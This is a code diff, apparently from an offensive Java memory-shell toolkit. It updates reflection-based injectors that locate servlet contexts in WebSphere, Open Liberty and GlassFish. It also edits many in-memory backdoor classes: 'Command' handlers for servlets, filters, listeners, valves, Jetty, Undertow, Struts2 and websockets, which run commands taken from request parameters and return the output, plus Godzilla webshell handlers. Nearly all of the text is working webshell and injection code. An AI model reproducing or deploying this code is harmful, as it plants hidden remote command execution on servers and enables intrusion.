||||||
|
|
||||||
|
// bypass osgi
|
||||||
|
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
|
||||||
|
if (context.equals(Object.class)) {
|
||||||
|
throw new ClassNotFoundException(className);
|
||||||
|
}
|
||||||
|
ClassLoader loader = context.getClassLoader();
|
||||||
|
try {
|
||||||
|
return loader.loadClass(className);
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
return loadClass(context.getSuperclass(), className);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
Exception {
|
Exception {
|
||||||
@@ -255,13 +286,9 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
try {
|
|
||||||
Field field = getField(obj, name);
|
Field field = getField(obj, name);
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+29
-7
@@ -38,7 +38,7 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,11 +75,32 @@ public class WebSphereListenerInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -87,8 +108,9 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
+32
-8
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Properties;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
|
|||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -27,6 +27,8 @@ public class Command {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+4
-6
@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
|
|||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+4
-6
@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
|
|||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
|
|||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
|
|||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
|
response.getWriter().flush();
|
||||||
|
response.getWriter().close();
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
if (baseRequest != null) {
|
if (baseRequest != null) {
|
||||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||||
}
|
}
|
||||||
|
|||||||
+2
@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -40,6 +40,8 @@ public class CommandJettyHandler {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+5
-7
@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
}
|
}
|
||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
|
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+4
-6
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
|
|||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
|
|||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+1
@@ -29,6 +29,7 @@ public class CommandStruct2Action {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
|
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
response.getWriter().flush();
|
response.getWriter().flush();
|
||||||
|
response.getWriter().close();
|
||||||
}
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
|
|||||||
+2
@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+1
-1
@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
|
|||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
outputStream.flush();
|
outputStream.flush();
|
||||||
inputStream.close();
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
|
|||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
|
response.getWriter().flush();
|
||||||
|
response.getWriter().close();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
-7
@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
|
|||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
||||||
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
public void onMessage(String cmd) {
|
public void onMessage(String cmd) {
|
||||||
try {
|
try {
|
||||||
InputStream inputStream = getInputStream(getParam(cmd));
|
InputStream inputStream = getInputStream(getParam(cmd));
|
||||||
byte[] buf = new byte[8192];
|
session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
int length;
|
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
session.getBasicRemote().sendText(outputStream.toString());
|
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -51,6 +51,8 @@ public class Godzilla extends ClassLoader {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -49,6 +49,8 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -51,6 +51,8 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -50,6 +50,8 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -66,6 +66,8 @@ public class GodzillaJettyAgentHandler extends ClassLoader {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
if (baseRequest != null) {
|
if (baseRequest != null) {
|
||||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||||
|
|||||||
+2
@@ -53,6 +53,8 @@ public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfigur
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -57,6 +57,8 @@ public class GodzillaJettyHandler {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -50,6 +50,8 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -51,6 +51,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -47,6 +47,8 @@ public class GodzillaStruct2Action {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
